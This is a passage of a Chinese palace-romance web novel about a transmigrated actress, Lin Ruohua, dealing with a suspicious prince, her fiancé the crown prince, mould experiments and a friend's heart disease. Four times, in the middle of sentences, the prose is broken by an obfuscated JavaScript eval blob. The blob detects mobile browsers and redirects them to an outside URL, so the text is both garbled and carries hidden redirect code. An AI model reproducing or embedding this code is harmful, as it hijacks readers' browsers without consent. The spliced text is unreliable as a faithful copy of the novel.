“是母妃之过。”叶妃睁开眼,眸中倦意更深,“往后,母妃会好生教导于你。原以为避世而居,便可远离纷扰。殊不知,自踏入宫门那刻起,便已身陷局中,由不得己了。” 六公主小手紧紧攥住长裙,刚整理好的裙子又被扯皱。 “莫再去寻秋露了,你找不到她的。”叶妃轻声道。 “母妃!”六公主猛地抬头,瞪大的眼睛里满是惊愕与不解。 今日殿中格外安静,往常宫女们早该端着点心过来了。 好一会儿,她才明白过来,秋露的消失并非偶然。 “再过三年,你也要及笄了,长大成人了。”叶妃继续道,声音依旧是平日里的冷淡:“这些时日,就安心待在宫里,少与他人往来,修身养性,莫要再任性妄为,免得再卷入纷争。” 叶妃说着,伸手想抚摸女儿的头,却在半空中顿了顿,最终只是轻轻整理了一下六公主歪掉的青雀钗。 “那、那三哥呢?和三哥也、也一样吗?”六公主还在断断续续地抽泣,闻言赶忙追问。 叶妃沉默片刻,道:“是。” 冷清的宫殿里,只传来一声悠长的叹息。 这声叹息林若华并未听见,她刚出长春宫大门,脚就被钉在了原地,走不了了。 不是她不想走,而是有人挡住了她的去路,偏偏还绕不开。 萧玄鹤负手立在中央。 他今日身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16724437|184823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着常服,依旧是一袭青衣,这次衣襟处用银线绣着清雅的兰花,君子如兰。 顺便一提,在落月崖那日,萧玄鹤穿的是绣着仙鹤的青衣,与林若华在赏花宴上初次相见,穿的是绣着菊纹的青衣。 她不禁怀疑,萧玄鹤的衣柜里除了礼服全是青衣,这人怕不是有什么强迫症? 萧玄鹤不知在宫外站了多久,显然是有备而来,专程等候于此。 林若华一时不知该如何开口,索性等待对方先说。 谁知萧玄鹤也迟迟不语,二人就在长春宫外的庭院中僵持不下。 眼角余光瞥见有宫人途经,远远望见这情形后,纷纷绕道而行,连一刻都不敢停留。 等一下,你们别走啊!好歹帮我通知一下叶妃啊! 林若华在心中疯狂呐喊。 她可不想与萧玄鹤独处。 此刻就连天空中都不见一只飞鸟。 周遭安静得有些诡异。 最终,还是萧玄鹤先开了口:“你近日可还安好?” 这声音较往日低沉了几分,像是在刻意压抑着什么。 林若华连忙行礼,起身后垂下眼眸,回道:“承蒙三殿下记挂,若华很好。” 心中却忍不住腹诽:好不好你不知道吗?啊? 萧玄鹤向前走近一步,林若华不自觉地后退了一步,与之拉开距离。 见状,他身形顿住。 二人隔着恰到好处的距离,彼此心照不宣。 等一下,你可不是恋爱脑人设啊。 林若华猜不透他意欲何为,宫中人多眼杂,谅他也不敢乱来。 微风拂过,几片梧桐叶飘至二人之间。 片刻后,只听萧玄鹤沉声道:“还记得今岁上元佳节,你我携手同游,戴着面具混迹于百姓之中,赏玩花灯。街上灯火辉煌,人声鼎沸,千欢万喜。你曾盯着一盏莲花灯看得出神,流光溢彩映在你眼中,灿若星辰。” 说及此处,他忍不住会心一笑,随后声音更加低沉,试图勾起林若华心中的回忆:“我欲买下赠你,你却最终选了一盏圆月灯。那时,你悄悄凑在我耳边,说‘只愿君心似我心,定不负相思意’。” 萧玄鹤语气微顿,再次开口却是带着痛楚的质问:“言犹在耳,孰料转眼间,你便要嫁与太子殿下,成为我名正言顺的皇嫂。若华,我们之间的那些情谊,那些点点滴滴,你真能如此轻易便放下吗?” 林若华在心中撇嘴:还情谊呢?连细节都记不清楚。 抬眸看向萧玄鹤,林若华眼中未曾有波动,只平静地纠正道:“三殿下怕是贵人多忘事,记错了。上元节那日,我看了许久的,是莲花灯旁边的那盏兔子灯,最后选的,也是一盏弯月灯。” 她记得清清楚楚,那些花灯都是道具老师亲手做的。 当时她觉得那盏兔子灯十分可爱,道具老师看她喜欢,还答应等拍完戏就把兔子灯送给她,结果没几天就穿越了。 而作为重要道具的月亮灯,最初道具老师做的是圆月灯,可何导演不满意,非要改成弯月灯,说是象征着这段恋情并不圆满,残缺不全。 “那一夜,我对三殿下说的是‘君心似明月,月缺应再圆’……” 两人四目相对。 萧玄鹤一言不发,薄唇慢慢抿住。 林若华:“……” 嗯?! 32. 若华 一开始,她还以为是萧玄鹤并未将林若华放在心上。 直到话说出口的瞬间,她才反应过来,萧玄鹤是在试探她。 真不愧和老皇帝是亲父子,想法不谋而合。 其实也不意外。 这些日子里,她迟迟不见萧玄鹤,对他人也是以备嫁为由,躲在林府避而不见。 在六公主的赏花宴上,又一反常态地高调行事,无论是行事风格还是言谈举止,都与曾经忍气吞声的林若华判若两人。 以萧玄鹤的敏锐,怎么可能察觉不到她的变化? 或许以他的情报手段,在更早之前便知晓了,只是在珍宝楼里和皇帝寿辰都寻不到与她说话的机会。 只是今日才能与她独处。 男主就是厉害,一开口就连挖三个坑,只要答错一个,就坐实了有问题。 林若华默默点评:刚才萧玄鹤的演技还不如她,有些用力过猛,演得略显浮夸,跟他平时冷静自持的人设不太搭。 怀疑又怎么样,左右萧玄鹤找不到证据。 无论从哪个角度看,她都是如假包换的林若华。 更何况,他现在还不是皇帝,不能毫无证据就为所欲为。 林若华说完那番话后,庭院重归于静。 萧玄鹤已恢复成往日温文尔雅的君子模样,仿佛的失态不过是一场幻觉。 太阳逐渐西斜,萧玄鹤的影子也越拉越长,影子离林若华越来越近,几乎要触碰到她的脚尖。 秋风刮过,林若华忍不住一个激灵。 有片梧桐叶打着旋,落在林若华的脚边,压在了萧玄鹤的影子上。 真是的,大白天怎么感觉阴森森的。林若华心里有点发毛。 不能再这么下去了,她需要开口说点什么。 真是为难她这个十八线小演员,又要比拼演技。 她轻轻勾起唇角,笑意却未达眼底。 “三殿下连上元灯会那夜,你我站在摊子前,看了怎样的花灯,说了什么话都记不清了,又何必在此空谈什么昔日情意?” 林若华声音轻柔:“我是即将嫁给太子不假,可三殿下不也与吏部尚书家的千金定下婚约?既然各自婚嫁,前尘已了,三殿下又以什么立场,什么身份来质问我这些?” 萧玄鹤眉头微蹙,试图劝解:“他不是良人。” 林若华笑容更盛:“他不是良人,难道三殿下就是?” 不待萧玄鹤回答,林若华又道:“三殿下可知,上元节那日之后,我回府后并非满心欢喜,而是日日惶恐不安,区区一个其貌不扬、才学平平的六品小官之女,如何配得上你?” 说到此处,林若华脸上的笑意已染上嘲讽,像是在嘲笑从前那个天真愚蠢的自己。 “最初我甚至不敢奢望正妻之位,想着若能得一个侧妃的名分,就已心满意足。后来许是被满街的花灯晃花了眼,又或是被三殿下眼中的情意蒙蔽了心智,竟以为自己是被真心爱着的。连你让我去落月崖练琴,用那般可笑的理由骗我,我都未曾怀疑过半分。” 她叹道,真是傻姑娘啊。 “我真是个傻子。起初,还以为你我同病相怜,都是幼年丧母,不得父亲喜爱的可怜人。” 她侧头望向庭院那棵梧桐树,树下秋千还在风中轻轻摆动。 林若华从未坐过秋千。 目光再次落回萧玄鹤脸上,她似笑非笑:“可我忘了,你是尊贵的皇子,是元后嫡子,母家是显赫的国公府,有照顾你的姨母,有关心你的妹妹。你才华出众,你志向远大,朝野上下谁不称赞?原来自始至终,孤身一人的,无依无靠的,只有我。” 独留林若华一人在泥潭里苦苦挣扎。 在落月崖上,林若华在想什么? 其实她早就该明白,像她这样出生克母、幼年克外祖父母一家的不祥之人,怎么会有人真心喜欢? 更何况是光风霁月的三皇子。 可以前她总以为,萧玄鹤曾经护过她,对她至少是有些许怜惜的。 靠着上元节那点微弱的暖意,一直撑到了中元节。 无人在意林若华。 祭祀之后,她悄悄溜出家门。 那是她的生辰,却不知奔赴的,是自己的死期。 直到被太子劫持的那一刻,林若华才恍然,所谓的喜欢,不过是利用罢了。 那颗患得患失的心,终是落下。 是啊,从始至终,无人爱她。 荒唐的美梦,终于醒了。 “历经这次生死,我想通了。从今往后,我要为自己而活,不再任人摆布,不再做任何人棋盘上的棋子。” 她能明白,林若华在最后坠崖的时刻,一定是这样想的。 萧玄鹤望着她眼中的决绝,忽然想起三年前初见她那日。 青雀吵着要在御花园办赏花宴,众人也都乐意陪这位小公主胡闹。 他也去了,却不便久留于女眷之中,露个面便准备离开。 行至一处僻静的角落时,却听见假山后传来刺耳的吵闹声。 “林小姐,你来参加六公主的赏花宴,怎还带着这等上不得台面的外室女?” “哼,娘亲心善,非要我带她来见见世面,真是丢人现眼!” “我不是外室女,妹妹,你快同她们解释……” “别乱攀亲戚,谁是你妹妹?你也配?” 那儿站着几个衣着华丽的贵女,而被她们围在中间的姑娘,身形实在过于消瘦,一身崭新的红色衣裙空荡荡地挂在身上,明显不合身。 她此时低垂着头,一言不发。 萧玄鹤止住脚步,微蹙眉头,看向身旁一同行走的表兄。 叶景谦摇着扇子,也表示并不认识那几个姑娘,吩咐随从打听一番,才知那个盛气凌人的姑娘竟与叶家有些渊源,其生母是叶家一个早已没落的远房旁支的女儿。 叶景谦凑近,以扇掩面,低声道:“打听到了,中间那个是工部主事林兴业林大人原配的女儿,听说生母没了。旁边那个和她争执的,是继室所出的女儿。” 萧玄鹤的母后同样早逝,曾经的宫女成了新后。 明明萧玄鹤才是元后嫡子,却不得父皇亲近,父子之间隔阂日渐加深。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16741085|184823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 而萧玄鹤的大哥,却一跃成了嫡长子,不止压他一头,并且行事乖张,时时针对于他。 于是萧玄鹤走上前,为那小姑娘解了围:“你们在做什么?” “三、三皇子殿下……”那群贵女顿时慌了神,脸上飞起红晕。 萧玄鹤没理会她们投来的爱慕目光,径直走向那个被孤立的小姑娘。 “你没事吧?”他的声音不自觉地放柔了几分。 小姑娘怯生生地抬起头。 萧玄鹤看见她紧咬着下唇,正拼命不让眼泪落下,很是倔强。 他环顾四下,正色道:“今日青雀设此赏花宴,务求尽善尽美,望各位谨言慎行。” 说罢,不待众人反应,便转身离去。 叶景谦追上来一拍萧玄鹤的肩膀,调笑道:“表弟,真是看不出来,你还挺怜香惜玉的嘛。” 萧玄鹤并未应答。 只是到了第二日清晨,他才恍惚想起,那张清秀且苍白的小脸,好像在宫中某幅旧画上见过。 萧玄鹤看着眼前这个眼神疏离的林若华,突然急步走到她身前。 影子彻底笼罩在林若华身上。 萧玄鹤一把抓住她的左手手腕,不等她挣扎,便不由分说地撩起她的衣袖。 上元灯会那夜,萧玄鹤送林若华回府,将至林府门外那条巷子时,忽有刺客从暗处冲出,直取萧玄鹤性命。 林若华竟想也不想,几乎是本能地侧身挡在萧玄鹤身前。 萧玄鹤虽反应极快地拉开,但刺客锋利的刀刃仍在林若华的左臂外侧划下一道伤口,鲜血瞬间涌出,染红了她白色的衣袖。 萧玄鹤随即一脚踹中刺客心口,刺客闷哼一声飞出数尺。 暗卫瞬间现身,二人护在萧玄鹤身前,四人前去对付刺客。 萧玄鹤想要活捉,谁知对方牙齿藏丨毒,立刻咬破,瞬间毙命。 后来,他避开耳目,带林若华去了一处隐秘的别院,亲自为她包扎,用了宫里最好的伤药,再加上日后小心照料,伤口愈合得极好,但终究还是留下了一道淡粉色的细长疤痕。 可笑又可悲的是,林府上下,除贴身侍女红豆外,从林若华的父亲到继母,再到那些仆人,竟然没有一个人发现他们这位大小姐受了伤,流了血。 萧玄鹤知道,那刺客定是萧长离派来的人。 其实以他的身手和暗处的护卫,根本不会有事。 林若华却傻傻为他受了这无妄之灾…… “你究竟是谁?” 林若华左臂上那道旧疤,明晃晃的,像在嘲笑他的自以为是。 “啪!” 林若华右手一记耳光,结结实实地扇在萧玄鹤的脸上,打得他脸偏向一边。 萧玄鹤愣住了。 林若华抽回自己的左手,又摸了摸因用力而有些生疼的右手。 “看来,孤的太子妃厉害得很,完全不需要孤来帮忙解围呢。” 一阵带着戏谑的笑声从不远处传来。 林若华与萧玄鹤同时转头看去,只见萧长离不知何时出现在庭院中,正朝他们走过来。 33. 惊喜 “三弟又在做什么呢?”萧长离步伐从容,自然而然地站到了林若华身旁。 “光天化日之下,对孤的未婚妻拉拉扯扯,是欺负若华性情好,还是觉得孤这个太子,可以任由你欺到头上了?亏得太傅昔日还夸你什么君子之风,当真是老眼昏花了。” “杜太傅德高望重,且早已仙逝,还请太子殿下慎言。”萧玄鹤眼底闪过一丝痛色。 虽说太傅主要负责教导太子,但偶尔也会考校指点其他皇子。 这位大儒,向来不喜肆意妄为的太子,更厌恶四皇子愚不可及,唯独对三皇子萧玄鹤青睐有加,屡次在御前夸其“沉稳持重,有君子之风”。 萧长离冷笑,那老家伙当年想说的,恐怕不是君子之风,而是王者之风吧? “呵。”萧长离颇为不屑地嗤笑一声,目光落在萧玄鹤脸上的红印。 “若不是三弟脸上这巴掌印还没消,倒还真有几分进退有度、谦谦君子的模样。真想让老头儿瞧见你的狼狈相,可惜啊,可惜。” 萧长离毫不客气,根本不给萧玄鹤与杜太傅留丁点颜面。 “不过是与林小姐偶遇,叙旧时一时情急,确是玄鹤之过。”萧玄鹤已恢复了往日的从容。 他转向林若华,语气温和:“惊扰林小姐了。” “叙旧?”萧长离轻笑一声,侧头看向林若华,极其自然地伸手,替她将方才被撩起的衣袖轻轻拉下,整理好。 “三弟莫非忘了,下月就是孤与若华的大婚之日。这个时候,与即将成为嫂嫂的人叙旧,未免太不懂得分寸了吧。” 萧玄鹤俊美的脸上看不出喜怒,目光在林若华和萧长离身上停留片刻,随后拱手行礼,再次道歉:“是臣弟失礼了。” “你给孤听清楚了,从今往后,若是再敢越矩,冒犯于她,别说太子妃饶不饶你,孤第一个就不会放过你。” 说罢,不再多看萧玄鹤一眼,拉起林若华便走。 林若华跟着转身离去,一路再未回首。 萧玄鹤独自立在原地,望着他们携手的背影,直至彻底消失在宫墙处。 他才缓缓闭上双目。 落子无悔。 刚转过宫墙,确认萧玄鹤看不见后,萧长离停下脚步,紧握的手轻轻松开了。 他转身,正对上林若华明亮的目光。 “我来晚了。” 原来,林若华前脚刚离开大殿,皇帝后脚便传召了萧长离,言语间不乏对他、对林若华、对流言的试探,这才耽搁了许久。 林若华抬眸看他,摇了摇头:“没有晚,苏南在来的马车上和我说了。她说你早有预料,今天皇上会分别召见我俩,你是怎么知道的?” “我猜的,揣测圣意罢了。父皇见过你之后,必然要见我。”萧长离目光复杂,“抱歉,让你独自面对这些。” 林若华望着萧长离深邃的眼眸,对方眼中是无法言说的情绪。 虽然萧长离的确对她有过算计之心,可守护也是真的。 “你没有什么对不起我的,为什么总是道歉。会让我觉得,你是不是真的做过什么需要我原谅,却又无说出口的事。” 萧长离闻言,先是一怔,随后淡淡地笑了起来:“好,以后不轻易说抱歉了。走吧,我送你出宫。免得你半路又被人劫走了,怕是天黑都到不了家。” 林若华点点头。 两人并肩而行,默契地不再提起皇帝寿宴那夜的事。 “你喜欢萧玄鹤吗?” “咳咳咳……” 林若华被萧长离这突兀的问题吓了一跳,猛地咳嗽起来,连忙拍了两下胸口,等缓过神后,才难以置信地瞪着身侧语出惊人的男人。 两人并未停下脚步,萧长离也没有转头看她失态的模样,唇角却悄悄勾起。 马车早已候在宫禁范围外。 直到登上马车,林若华仍是一脸不解又觉好笑的神情。 眼下无人偷听,她忍不住向似乎还在暗笑的萧长离问道:“你怎么会这么想?” 话里带着明显的匪夷所思。 “大概是,担心你因戏生情吧。” 萧长离眼中含笑,不知是不是在调侃她。 “虽然我是个不太专业的十八线演员,但也不会因为太过入戏而爱上搭戏同事,更何况萧玄鹤也不是一个好对象。林若华是喜欢萧玄鹤,可经过落月崖那件事,就不可能再回头了,因为太缺爱,才会这样不管不顾地,像是飞蛾扑火,等看清萧玄鹤从头到尾的利用和欺骗后,还谈什么原谅他?根本不可能。” “那你呢?”萧长离看着对面一口气说完后依旧不忿的人,“若你发现有人欺骗于你,你会原谅吗?” “那我得看看,为什么骗我,后果如何,视情况而定吧。”林若华抿着唇,挑着眉,一副果然如此的表情。 萧长离眼底笑意更浓。 马车行至宫门,二人先后下车。 宫门外,苏南已等候多时。 林若华刚走出两步,突然停下,回过身对萧长离说:“我原谅你了。” 她看着萧长离眼中瞬间闪过的错愕,继续道:“我明白你的不易,许多事都身不由己。不过以后别再欺骗我了,不想说可以不说,别说谎话。” 萧长离闻言,解颜而笑,那笑意如秋日暖阳,驱散了四周的寒意。 “好。”他应道。 林若华点点头,再次转身离开,快到宫门时,像是忽然想起了什么事,又折返回来,提着裙摆一路小跑,来到萧长离跟前。 在萧长离诧异的目光中,林若华仰着头气喘吁吁地问道:“你以后不会也学着那些人三妻四妾吧?” 萧长离闻言,立刻收敛了笑容,直视着林若华的眼睛,正色道:“那是自然,我和萧玄鹤,从来都不是一类人。” 林若华这才满意地扬起笑容,后退两步,朝他挥手道别。 这次是真的离开了,随苏南上了林府的马车。 马车渐行渐远,愈来愈小,最终消失在宫门之外。 萧长离依旧站在原地,遥望着马车消失的方向,久久未动。 一直默默跟在身后的凌北,顺着太子殿下的目光看去,又偷偷瞄了自家主子一眼,回想起这几日殿下眉宇间难以化开的阴郁,以及书房内若隐若现的灯火,一直悬着的心终于放下了:看这情形,林小姐和殿下总算是和好了。 第二日,正值 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16754808|184823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 九月九重阳节。 林府内,除了林若华依旧气定神闲,慢条斯理地品着菊花茶以外,从林兴业到叶氏与林洛瑶,皆是一副愁云惨淡的苦瓜脸。 插茱萸的时候是苦瓜脸。 吃重阳糕的时候是苦瓜脸。 “我昨日不是说过了吗?无事,皇上与皇后娘娘并未怪罪于我。”林若华夹起一块重阳糕,忍不住再次开口。 面对苦瓜脸实在是太影响食欲了。 “嗯……”林兴业与叶氏无精打采,勉强应了一声。 林洛瑶更是翻了个白眼。 林若华见他们还是这个德行,也懒得再白费唇舌,自顾自地吃起重阳糕。 嗯,不错,比五仁月饼好吃多了。 桌上其他三人皆是不曾动筷。 那些流言蜚语,表面上以太子与三皇子吸引眼球,议论皇子间争风吃醋,实际都是冲着林若华来的,暗示她是引得兄弟阋墙的红颜祸水。 若真因此触怒天颜,认为她德行有亏,祸乱朝纲,整个林府都要跟着遭殃。 林兴业为此已经告假两日,连工部都不敢去。 叶氏则担心林家声誉受损,会影响林洛瑶日后说亲。 林洛瑶更是觉得丢脸,生怕出门被那些素来不对付的贵女们嘲笑。 正在此时,管家小跑着进来禀报:“老爷,夫人,宫里的王公公又来了。” 闻言,林若华放下筷,连忙起身。 林家众人也慌忙起身,面面相觑,心中七上八下,不知此次是福是祸。 只见王公公满面春风地走来,身后跟着四个小太监,抬着两个沉重的朱漆木箱。 “给林小姐道喜了!”王公公开口道贺:“皇上和皇后娘娘念及林小姐蕙质兰心、品行端方,特赐下珠宝首饰还有前朝的古玩玉器,以示嘉奖。” 随着王公公念出的赏赐,林兴业等人脸上的阴云顿时一扫而空,眼角眉梢俱是压不住的喜色。 “臣女林若华,谢皇上、皇后娘娘恩典。” 林若华上前行礼谢恩。 王公公随后笑眯眯地对林若华说道:“林小姐圣眷优渥,那些无稽之谈,自是不攻自破。” 待王公公一行人离去,林兴业红光满面地开始捻着胡须,当即决定明日便回工部上值。 叶氏也激动地拉起林洛瑶的手,念叨着:“你姐姐有福气,连带我们林家都跟着沾光。” 林洛瑶不耐烦地撇撇嘴:如今的林若华果然了不得。 等林兴业与叶氏稍稍平静后,正准备继续享用桌上香甜的重阳糕,转身却发现盘中早已空空如也,夫妻二人加上林洛瑶,齐齐看向坐在桌旁的林若华。 林若华:“啊?你们还要吃的吗?” 林兴业:“……” 叶氏:“……” 林洛瑶:“……” 林若华随便寻了个借口,带着苏南回了自己的院子。 踏入院中,她径直走向角落里的木架子。 黄的霉菌、白的霉菌、红的霉菌、黑的霉菌。 林若华观察着一个个竹筛子,忽然,她的目光定格在其中一个竹筛子里的半截玉米上。 是青色! 34. 希望 自重阳节那日,在玉米上发现青霉菌后,转眼已过了十天。 这十天,林若华几乎是闭门不出,把自己关在房间里,对着那半截发霉的玉米和各种瓶瓶罐罐忙得脚不沾地。 期间,朝堂之上似乎起了不小的风波。 萧长离传信来说正在处理要务,等忙完后再见面,让她无须担心。 这日清晨,研究终于告一段落。 刚得了片刻闲暇,正想着是否该主动询问一下萧长离那边的情况,结果却先收到了朱琇云遣贴身侍女送来的请帖。 上面用清秀的簪花小楷写着,邀她今日午后至满香楼一叙。 满香楼正是萧长离的私产,上回二人用膳之处。 用过午饭,林若华带着苏南,再度踏入满香楼。 小二一见她们便堆起笑脸,引着上了二楼,在其中一扇雕花木门前停住,屈指轻叩。 “进来吧。”一个清婉的声音自房中传来。 推门而入,只见朱琇云依旧一袭白衣,头上戴着简单的白玉簪,独自端坐于房间中央的圆桌旁,再无旁人,比上回赏花宴时好像更加清减了两分。 林若华于她对面落座:“不知朱小姐今日相邀,所为何事?” 朱琇云并未立刻回答,眸光落在林若华身侧的苏南身上,柔声道:“林小姐,我有些话想与你单独谈谈,可否请这位姑娘移步隔壁稍作休息?我的侍女玉弈与丹青也在那边备了茶点。” 苏南闻言,看向林若华,见她微微颔首示意,这才退出了房间,并掩上房门。 待室内只剩下她们二人,朱琇云并未立刻开口,而是缓缓起身,从旁边的架子上取下一个精致的梨花木盒。 她捧着木盒回到桌边,却未坐回对面,而是径直来到林若华身旁,将木盒轻轻置于林若华面前。 又是木盒? 上次萧长离送她一盒防身用的首饰,这次朱琇云也递上一个盒子,不知朱琇云想给她看什么。 朱琇云似乎看出了她的疑惑,伸手打开了盒盖:“林小姐,请观此物。” 盒内整整齐齐放着厚厚一沓信笺,林若华带着疑惑,拿起最上面的一张。 是朱琇云的簪花小楷,然而其上所记录的内容,却大大出乎林若华的意料。 只见上面用清秀的字迹记载着:“工部侍郎田大人之女,泰安二十年十二月初十,于镇国公府诗会,与友笑谈时偶言其父近日烦忧,提及账目似有不清之处……” 再取下一张。 “镇远伯夫人,泰安十九年八月十五,中秋赏月宴后,在品茶闲谈时,无意漏说其夫君近日与某位边关将领书信往来甚密……” 一张张,记录的皆是京中各级官员女眷,于某时某地,不经意间透露关于其父或其夫在朝务上的蛛丝马迹。 “朱小姐,你这是……” 林若华抬眸,望向近在咫尺的朱琇云,若她猜得没错,这是一份精心整理的情报。 朱琇云迎着她的目光,那双总含着两分忧愁的眸子,此刻却流露出一种复杂的情绪。 “赏花宴那日,琇云心中有所隐瞒,特来向林小姐告罪,并坦诚相告。” “隐瞒?”林若华更加好奇。 朱琇云柳眉微蹙,垂下眼眸,轻声道:“林小姐可知宫中的文渊阁?” “略有耳闻。” 编剧写的背景,都有参考现实,这里的文渊阁,收录世间孤本,汇聚天下典籍,相当于皇家图书馆,非皇室子弟与得特许的重臣不得入内。 朱琇云轻轻咬了下唇,继续说道:“我……我想要嫁给太子殿下,最重要的一个原因,其实是想借机去那里看看。” 说完这句话,她略显苍白的脸颊泛起红晕,不知是激动或是羞赧。 见林若华微微瞪大了眼睛,似乎极为惊讶,朱琇云连忙又急切地补充道:“我知道,女子是去不了文渊阁的,别说是我,就算是未来的太子妃,甚至是母仪天下的皇后,也从未有踏入其中的先例。可是、可是我总存着一丝妄想,万一呢?万一日后殿下他能……” 她的话语在此处停顿。 万一日后萧长离登基,或许会为了她,打破这个规矩。 但这话太过大逆不道,她不敢宣之于口。 其实她自己又何尝不知,这希望是何等的渺茫,近乎痴人说梦。 “我从未告诉过任何人这个真正的缘由,”朱琇云的声音带着颤抖,小心翼翼地观察着林若华的神色,“林小姐,你会不会觉得我是痴心妄想,不知天高地厚?” 林若华沉默了片刻,她看着朱琇云眼中不安的光芒,缓缓开口:“我觉得,是有点问题。” 朱琇云眸光霎时黯淡,如同风中残烛。 然而林若华接下来的话,却令她重新燃起了希望:“不过,我觉得不是你想去文渊阁这件事本身有问题。求知若渴,何错之有?问题在于,你为了一个渺茫的愿望,而赌上自己的婚事,未免有些轻率。” 朱琇云的眼睛立刻亮了起来,面露欢喜:“我就知道,我就知道林小姐你与旁人不同,定能明白我!所以,我才鼓起勇气来找你。” 她指着桌上的木盒,语气变得急促而热切:“你看,这盒子上层的,是我平日里在与各府女眷往来时,无意间听到她们提及家中父兄、夫君在朝务上的琐碎言语。无论事情大小,我觉得或许有用的,都悄悄记了下来。希望能对太子殿下有所助益。” 她又将上层的信笺小心拿起,露出下面另一叠稍小些的纸张:“下面的这些,是专门为你准备的。记录的是各家女眷的喜好、禁忌、性情特点。你如今身份不同,日后少不了要与她们往来应酬,有了这些,想必能更加便利些。” 朱琇云顿了顿,又道:“我知道,仅凭这些还远远不够,但这是我目前所能做到的极限,日后定会更加留心,继续收集各方消息。” 她的语气更加诚恳:“我明白,我不该,也不能奢求太子殿下为我一人破例。但是林小姐,你不一样。这些年来,太子殿下行事虽常出人意料,但他对于你,是我见过他最不同的一次。我相信,若是你肯相助,或许……或许真的有希望。” 朱琇云深吸一口气,说出最终的请求:“我不求任何其他回报,金银珠宝,权势地位,于我皆如浮云。只恳请林小姐,将来若有机会,能在太子殿下面前为我问问是否有可能……让我哪怕只是悄悄地进去一次?我发誓,绝不会泄露半分!” 原来如此,林若华恍然。 原来,太子萧长离时常会从文渊阁借阅文史典籍。 朱琇云不知从何处得知了他的行程习惯,便时常算准了时间,在他往返文渊阁的路径上佯装偶遇。 时日久了,宫中宫外便传开了表妹痴恋太子殿下的流言。 对于这些,朱琇云也从不辩驳。 看着朱琇云那满含期盼的眼神,那是一种对知识近乎虔诚的渴望,林若华心中触动。 她点了点头,承诺道:“好,我记下了,我会向太子殿下提及此事。” “真的?!”夙愿终于看到了曙光,朱琇云激动得不能自已,苍白的脸颊瞬间涌上不正常的潮红。 她站起身,似乎想表达感谢,然而下一刻,异变突生。 她呼吸骤然变得急促起来,一只手死死地捂住胸口,身体摇摇欲坠,眼看就要软倒在地。 “朱小姐!”林若华惊呼一声,眼疾手快地起身扶住她,半抱半扶地将她挪到房内的软榻躺下。 “药……荷包……”朱琇云嘴唇发紫,艰难地吐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16782538|184823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出几个字,手指无力地指向自己腰间。 林若华连忙伸手探去,在她腰间摸到一个绣着缠绕树枝的荷包。 林若华觉得这荷包的模样似乎在哪里见过,但情势危急,容不得她细想。 她迅速打开荷包,从里面倒出一颗用油纸包裹的白色药丸,剥开油纸,小心地喂入朱琇云口中。 朱琇云含着药丸,闭目喘息了好一会儿,胸口的剧烈起伏才渐渐平复下来,但依旧苍白得吓人。 她缓缓睁开眼,气息微弱,带着浓浓的歉意:“吓着林小姐了吧,真是对不住。这是我打娘胎里带出来的老毛病了,看过无数名医,都说我这是心脉有损,情绪不能过于激动,也不能劳累运动,需得长期静养。结果今日一时忘形,竟又……哎。” 朱琇云幽幽一叹。 林若华看着她有气无力的模样,问道:“你从小便是如此吗?” “是啊,”朱琇云眼神有些飘忽,“记得小时候在乡下,有一次和村里的小伙伴们偷偷跑去山上采野菜,大家跑跑跳跳,我才走了没多远,爬到半山腰,只觉心口像被石头压住一样,喘不过气,眼前一黑就什么都不知道了。后来听说是他们吓坏了,叫来了大人,把我背下山,才勉强捡回一条命。” “我也略通医术,若你信得过,我帮你检查一下可好?” 朱琇云闻言,没有丝毫犹豫,轻轻地将纤细的手腕伸到林若华面前。 林若华微微一愣。 她顿了顿,伸出手指,搭在她的腕间,模仿着中医诊脉的样子。 随后,她俯下身,侧耳贴近朱琇云的左胸位置。 在不借助听诊器的情况下,听到的心音十分微弱,但依旧能捕捉到心跳声中夹杂着不正常的杂音。 林若华直起身,面色凝重,又仔细询问了朱琇云一些症状。 朱琇云一一作答,都与林若华的推测逐一吻合。 是先天性心脏病。 在这个医疗条件落后的时代,这几乎等同于被宣判了死刑,能活到这个年纪已属不易。 